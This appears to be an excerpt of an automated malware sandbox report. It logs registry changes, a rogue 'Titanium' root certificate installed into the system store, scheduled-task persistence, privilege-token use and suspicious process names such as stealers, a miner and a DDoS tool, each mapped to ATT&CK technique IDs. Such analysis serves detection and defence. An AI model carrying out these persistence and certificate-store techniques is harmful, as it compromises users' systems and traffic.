Key created	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = ffffffff	chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1\MRUListEx = 00000000ffffffff	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\NodeSlot = "6"	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\SniffedFolderType = "Generic"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\FFlags = "1092616193"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616193"	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1\0 = 50003100000000007059339a100046696c6573003c0009000400efbe70592c9a7059339a2e00000007ac02000000190000000000000000000000000000009cf06300460069006c0065007300000014000000	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\SniffedFolderType = "Generic"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{7FDE1A1E-8B31-49A5-93B8-6BE14CFA4943}\FFlags = "1"	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f50e04fd020ea3a6910a2d808002b30309d0000	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{7FDE1A1E-8B31-49A5-93B8-6BE14CFA4943}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000050000001800000030f125b7ef471a10a5f102608c9eebac0a000000a000000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000ed30bdda43008947a7f8d013a47366226400000078000000	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = 14002e80922b16d365937a46956b92703aca08af0000	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{7FDE1A1E-8B31-49A5-93B8-6BE14CFA4943}\IconSize = "32"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{7FDE1A1E-8B31-49A5-93B8-6BE14CFA4943}\GroupView = "0"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:FMTID = "{B725F130-47EF-101A-A5F1-02608C9EEBAC}"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:PID = "14"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\FFlags = "1"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{7FDE1A1E-8B31-49A5-93B8-6BE14CFA4943}\Mode = "8"	chrome.exe
Key created	\Registry\User\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\NotificationData	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\IconSize = "16"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\IconSize = "16"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616193"	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 020202	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{7FDE1A1E-8B31-49A5-93B8-6BE14CFA4943}\GroupByDirection = "1"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\TV_TopViewID = "{BDBE736F-34F5-4829-ABE8-B550E65146C4}"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupByKey:PID = "0"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupView = "0"	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 0100000000000000ffffffff	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 010000000200000000000000ffffffff	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1 = fd021f00ad02d5dfa3239f020400000000009b0200003153505305d5cdd59c2e1b10939708002b2cf9aedf01000012000000004100750074006f004c006900730074000000420000001e000000700072006f00700034003200390034003900360037003200390035000000000098010000aea54e38e1ad8a4e8a9b7bea78fff1e9060000800000000001000000020000800100000001000000020000002000000000000000a00014001f50e04fd020ea3a6910a2d808002b30309d3a002e803accbfb42cdb4c42b0297fe99a87c641260001002600efbe110000008b11c756af18db01ac1f1a1b5c38db01ac1f1a1b5c38db01140050003100000000007059339a100046696c6573003c0009000400efbe70592c9a7059339a2e00000007ac02000000190000000000000000000000000000009cf06300460069006c0065007300000014000000000000000000000000000000000000000000000001000000010000800100000004006900740065006d00000000000000000000000000000000000000000000000000000000000000000000000000000000001e1ade7f318ba54993b86be14cfa4943ffffffffffffffffffffffff00000000010000001700530065006100720063006800200052006500730075006c0074007300200069006e002000460069006c0065007300000000000000000000000000000000000000000000000000000000003900000024000000004100750074006f006c0069007300740043006100630068006500540069006d006500000014000000a84101ee1c0000006700000022000000004100750074006f006c00690073007400430061006300680065004b006500790000001f00000019000000530065006100720063006800200052006500730075006c0074007300200069006e002000460069006c006500730030000000000000000000000000000000741a595e96dfd3488d671733bcee28ba671b730433d90a4590e64acd2e9408fe2a0000001300efbe0000002000000000000000000000000000000000000000000000000001000000d3020000	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0e000000ffffffff	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\TV_FolderType = "{7FDE1A1E-8B31-49A5-93B8-6BE14CFA4943}"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{7FDE1A1E-8B31-49A5-93B8-6BE14CFA4943}\FFlags = "18874369"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1 = 3a002e803accbfb42cdb4c42b0297fe99a87c641260001002600efbe110000008b11c756af18db01ac1f1a1b5c38db01ac1f1a1b5c38db0114000000	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\SniffedFolderType = "Downloads"	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\MRUListEx = ffffffff	chrome.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

pid	Process
4364	reg.exe
3808	reg.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064	Dn8g5KQZ4r.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 0b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790000000200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e00300000000000030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b06420000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61	Dn8g5KQZ4r.exe

Runs net.exe

Runs ping.exe 1 TTPs 3 IoCs

Remote System Discovery

T1018

pid	Process
3644	PING.EXE
10416	PING.EXE
9692	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 48 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
6940	schtasks.exe
5992	schtasks.exe
7560	schtasks.exe
7376	schtasks.exe
1612	schtasks.exe
1748	schtasks.exe
7892	schtasks.exe
7900	schtasks.exe
7152	schtasks.exe
8028	schtasks.exe
5348	schtasks.exe
8048	schtasks.exe
8016	schtasks.exe
6952	schtasks.exe
6956	schtasks.exe
2720	schtasks.exe
6440	schtasks.exe
4188	schtasks.exe
4904	schtasks.exe
4856	schtasks.exe
6160	schtasks.exe
6552	schtasks.exe
7380	schtasks.exe
6328	schtasks.exe
6404	schtasks.exe
7248	schtasks.exe
3088	schtasks.exe
9960	schtasks.exe
7540	schtasks.exe
6184	schtasks.exe
6256	schtasks.exe
5060	schtasks.exe
7320	schtasks.exe
6052	schtasks.exe
8360	schtasks.exe
10636	schtasks.exe
5056	schtasks.exe
8020	schtasks.exe
4592	schtasks.exe
10480	schtasks.exe
7468	schtasks.exe
5820	schtasks.exe
5412	schtasks.exe
7732	schtasks.exe
11436	schtasks.exe
660	schtasks.exe
680	schtasks.exe
7460	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 3 IoCs

pid	Process
5252	EXCEL.EXE
5256	aspnet_compiler.exe
6840	freedom.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
220	chrome.exe
220	chrome.exe
2748	test.exe
2748	test.exe
2748	test.exe
3644	powershell.exe
3644	powershell.exe
3644	powershell.exe
5872	powershell.exe
5872	powershell.exe
5872	powershell.exe
1296	powershell.exe
1296	powershell.exe
1296	powershell.exe
5960	powershell.exe
5960	powershell.exe
5960	powershell.exe
5844	powershell.exe
5844	powershell.exe
5844	powershell.exe
2748	test.exe
2748	test.exe
6096	powershell.exe
6096	powershell.exe
6096	powershell.exe
3080	svchost.exe
3080	svchost.exe
6056	nxmr.exe
6056	nxmr.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
6056	nxmr.exe
6056	nxmr.exe
6076	winupsecvmgr.exe
6076	winupsecvmgr.exe
5960	powershell.exe
5960	powershell.exe
5960	powershell.exe
6076	winupsecvmgr.exe
6076	winupsecvmgr.exe
6076	winupsecvmgr.exe
6076	winupsecvmgr.exe
5068	bildnewl.exe
5068	bildnewl.exe
3228	loader_5879465914.exe
3228	loader_5879465914.exe
5784	html.exe
5784	html.exe
5784	html.exe
5784	html.exe
5784	html.exe
5784	html.exe
5784	html.exe
5784	html.exe
5784	html.exe
5784	html.exe
5784	html.exe
5784	html.exe
5784	html.exe
5784	html.exe
5784	html.exe
5784	html.exe
5784	html.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
912	7zFM.exe
3724	chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe

Suspicious behavior: SetClipboardViewer 4 IoCs

pid	Process
5736	sysppvrdnvs.exe
5656	pipanel.exe
5960	sysnldcvmr.exe
8116	sysmablsvr.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeRestorePrivilege	912	7zFM.exe
Token: 35	912	7zFM.exe
Token: SeSecurityPrivilege	912	7zFM.exe
Token: SeShutdownPrivilege	220	chrome.exe
Token: SeCreatePagefilePrivilege	220	chrome.exe
Token: SeShutdownPrivilege	220	chrome.exe
Token: SeCreatePagefilePrivilege	220	chrome.exe
Token: SeShutdownPrivilege	220	chrome.exe
Token: SeCreatePagefilePrivilege	220	chrome.exe
Token: SeShutdownPrivilege	220	chrome.exe
Token: SeCreatePagefilePrivilege	220	chrome.exe
Token: SeShutdownPrivilege	220	chrome.exe
Token: SeCreatePagefilePrivilege	220	chrome.exe
Token: SeShutdownPrivilege	220	chrome.exe
Token: SeCreatePagefilePrivilege	220	chrome.exe
Token: SeShutdownPrivilege	220	chrome.exe
Token: SeCreatePagefilePrivilege	220	chrome.exe
Token: SeShutdownPrivilege	220	chrome.exe
Token: SeCreatePagefilePrivilege	220	chrome.exe
Token: SeShutdownPrivilege	220	chrome.exe
Token: SeCreatePagefilePrivilege	220	chrome.exe
Token: SeShutdownPrivilege	220	chrome.exe
Token: SeCreatePagefilePrivilege	220	chrome.exe
Token: SeShutdownPrivilege	220	chrome.exe
Token: SeCreatePagefilePrivilege	220	chrome.exe
Token: SeShutdownPrivilege	220	chrome.exe
Token: SeCreatePagefilePrivilege	220	chrome.exe
Token: SeShutdownPrivilege	220	chrome.exe
Token: SeCreatePagefilePrivilege	220	chrome.exe
Token: SeShutdownPrivilege	220	chrome.exe
Token: SeCreatePagefilePrivilege	220	chrome.exe
Token: SeShutdownPrivilege	220	chrome.exe
Token: SeCreatePagefilePrivilege	220	chrome.exe
Token: SeShutdownPrivilege	220	chrome.exe
Token: SeCreatePagefilePrivilege	220	chrome.exe
Token: SeShutdownPrivilege	220	chrome.exe
Token: SeCreatePagefilePrivilege	220	chrome.exe
Token: SeShutdownPrivilege	220	chrome.exe
Token: SeCreatePagefilePrivilege	220	chrome.exe
Token: SeShutdownPrivilege	220	chrome.exe
Token: SeCreatePagefilePrivilege	220	chrome.exe
Token: SeDebugPrivilege	4936	4363463463464363463463463.exe
Token: SeShutdownPrivilege	220	chrome.exe
Token: SeCreatePagefilePrivilege	220	chrome.exe
Token: SeShutdownPrivilege	220	chrome.exe
Token: SeCreatePagefilePrivilege	220	chrome.exe
Token: SeShutdownPrivilege	220	chrome.exe
Token: SeCreatePagefilePrivilege	220	chrome.exe
Token: SeDebugPrivilege	3312	4363463463464363463463463.exe
Token: SeDebugPrivilege	2660	OHDhueyr0e.exe
Token: SeShutdownPrivilege	220	chrome.exe
Token: SeCreatePagefilePrivilege	220	chrome.exe
Token: SeBackupPrivilege	2660	OHDhueyr0e.exe
Token: SeSecurityPrivilege	2660	OHDhueyr0e.exe
Token: SeSecurityPrivilege	2660	OHDhueyr0e.exe
Token: SeSecurityPrivilege	2660	OHDhueyr0e.exe
Token: SeSecurityPrivilege	2660	OHDhueyr0e.exe
Token: SeShutdownPrivilege	220	chrome.exe
Token: SeCreatePagefilePrivilege	220	chrome.exe
Token: SeShutdownPrivilege	220	chrome.exe
Token: SeCreatePagefilePrivilege	220	chrome.exe
Token: SeDebugPrivilege	496	jerniuiopu.exe
Token: SeDebugPrivilege	2748	test.exe
Token: SeShutdownPrivilege	220	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
912	7zFM.exe
912	7zFM.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
220	chrome.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
3044	Optimum.pif
3044	Optimum.pif
3044	Optimum.pif
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe
2760	dwm.exe

Suspicious use of SetWindowsHookEx 64 IoCs

pid	Process
3724	chrome.exe
3540	t2.exe
496	jerniuiopu.exe
5196	pi.exe
5252	EXCEL.EXE
5252	EXCEL.EXE
5252	EXCEL.EXE
5452	Launcher.exe
5252	EXCEL.EXE
5252	EXCEL.EXE
5252	EXCEL.EXE
5252	EXCEL.EXE
5252	EXCEL.EXE
5252	EXCEL.EXE
5252	EXCEL.EXE
5252	EXCEL.EXE
5252	EXCEL.EXE
5252	EXCEL.EXE
5252	EXCEL.EXE
3724	chrome.exe
3724	chrome.exe
3080	svchost.exe
5388	t1.exe
3228	loader_5879465914.exe
5320	twztl.exe
5784	html.exe
1884	Indentif.exe
4668	tdrpload.exe
5548	c2.exe
2216	pei.exe
5144	5.exe
5840	Mr.Satan%20DDoS.exe
5836	Mr.Satan%20DDoS.exe
5956	LummaC22222.exe
